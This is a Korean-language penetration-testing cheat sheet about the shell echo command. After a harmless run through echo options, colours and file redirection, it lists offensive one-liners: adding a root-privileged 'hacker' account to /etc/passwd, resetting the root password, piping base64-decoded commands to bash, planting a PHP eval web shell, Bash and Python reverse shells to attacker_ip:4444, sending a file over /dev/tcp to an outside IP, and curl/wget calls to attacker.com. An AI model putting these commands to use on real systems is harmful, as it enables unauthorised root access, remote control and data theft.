Echo의 침투 테스트 활용
Echo 주요 옵션
기본 옵션
bash
1# -n: 끝에 줄 바꿈 문자 출력 안 함
2echo -n "Hello" # 출력: Hello
3echo "Hello" # 출력: Hello\n
4
5# -e: 이스케이프 문자 해석 활성화
6echo -e "Hello\nWorld" # 출력: Hello
7 # World
8
9# -E: 이스케이프 문자 해석 비활성화 (기본값)
10echo -E "Hello\nWorld" # 출력: Hello\nWorld
11
12# 자주 사용하는 이스케이프 문자
13echo -e "\a" # 벨 소리
14echo -e "\b" # 백스페이스
15echo -e "\c" # 줄 바꿈 없음
16echo -e "\f" # 폼 피드
17echo -e "\n" # 줄 바꿈
18echo -e "\r" # 캐리지 리턴
19echo -e "\t" # 탭
20echo -e "\v" # 수직 탭
21echo -e "\\" # 백슬래시색상 출력
bash
1# 텍스트 색상
2echo -e "\033[31m빨간색 텍스트\033[0m" # 빨간색
3echo -e "\033[32m녹색 텍스트\033[0m" # 녹색
4echo -e "\033[33m노란색 텍스트\033[0m" # 노란색
5echo -e "\033[34m파란색 텍스트\033[0m" # 파란색
6echo -e "\033[35m보라색 텍스트\033[0m" # 보라색
7echo -e "\033[36m청록색 텍스트\033[0m" # 청록색
8
9# 배경색
10echo -e "\033[41m빨간색 배경\033[0m" # 빨간색 배경
11echo -e "\033[42m녹색 배경\033[0m" # 녹색 배경
12echo -e "\033[43m노란색 배경\033[0m" # 노란색 배경
13
14# 텍스트 스타일
15echo -e "\033[1m굵은 텍스트\033[0m" # 굵은 글씨
16echo -e "\033[4m밑줄 텍스트\033[0m" # 밑줄
17echo -e "\033[5m깜빡이는 텍스트\033[0m" # 깜빡임형식 지정 출력
bash
1# 변수 사용
2name="World"
3echo "Hello $name" # 출력: Hello World
4echo "Hello ${name}" # 출력: Hello World
5
6# 명령어 치환
7echo "현재 시간: $(date)"
8echo "현재 시간: `date`"
9
10# 특수 문자 이스케이프
11echo "This is a \$dollar sign" # 출력: This is a $dollar sign
12echo "This is a \"quote\"" # 출력: This is a "quote"파일 조작 옵션
bash
1# 파일에 추가
2echo "new line" >> file.txt
3
4# 파일 덮어쓰기
5echo "new content" > file.txt
6
7# 여러 줄 파일 생성
8echo -e "line1\nline2\nline3" > multiline.txt
9
10# here 문서 사용
11echo << EOF > file.txt
12line1
13line2
14line3
15EOFEcho 문자열 표시
bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening
5 Good Eveningipv4 ipforward 활성화
bash
1echo 1 > /proc/sys/net/ipv4/ip_forwardroot 권한 사용자 추가
bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwdroot 비밀번호 변경
bash
1echo "root:newpassword" | chpasswdecho -e를 이용한 비밀번호 무인 변경
bash
1echo -e "newpassword\nnewpassword" | passwd username명령어 실행과 base64 조합
bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bashBase64를 이용한 php 원격 명령어 실행 코드 삽입 (1.php)
bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php역 쉘 실행
bash
1# Bash 역 쉘
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# Python 역 쉘
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash파일 조작
bash
1# 파일 생성
2echo "content" > file.txt
3
4# 내용 추가
5echo "more content" >> file.txt
6
7# 파일 비우기
8echo "" > file.txt환경 변수 조작
bash
1# 환경 변수 설정
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# 프록시 설정 추가
5echo "export http_proxy=http://proxy:port" >> ~/.bashrc시스템 설정 변경
bash
1# 시스템 제한 변경
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# 커널 매개변수 변경
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf파일 전송
파일 전송
bash
1# 방법 1: nc 사용
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# 방법 2: base64 사용
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64파일 수신
bash
1# 방법 1: nc 사용
2nc -v -l -p 4422 > 1.tar.gz
3
4# 방법 2: base64 사용
5cat file.txt.b64 | base64 -d > file.txt파일 전송의 다른 방법
bash
1# curl을 이용한 파일 업로드
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# wget을 이용한 파일 다운로드
5echo "wget http://attacker.com/file -O /path/to/save"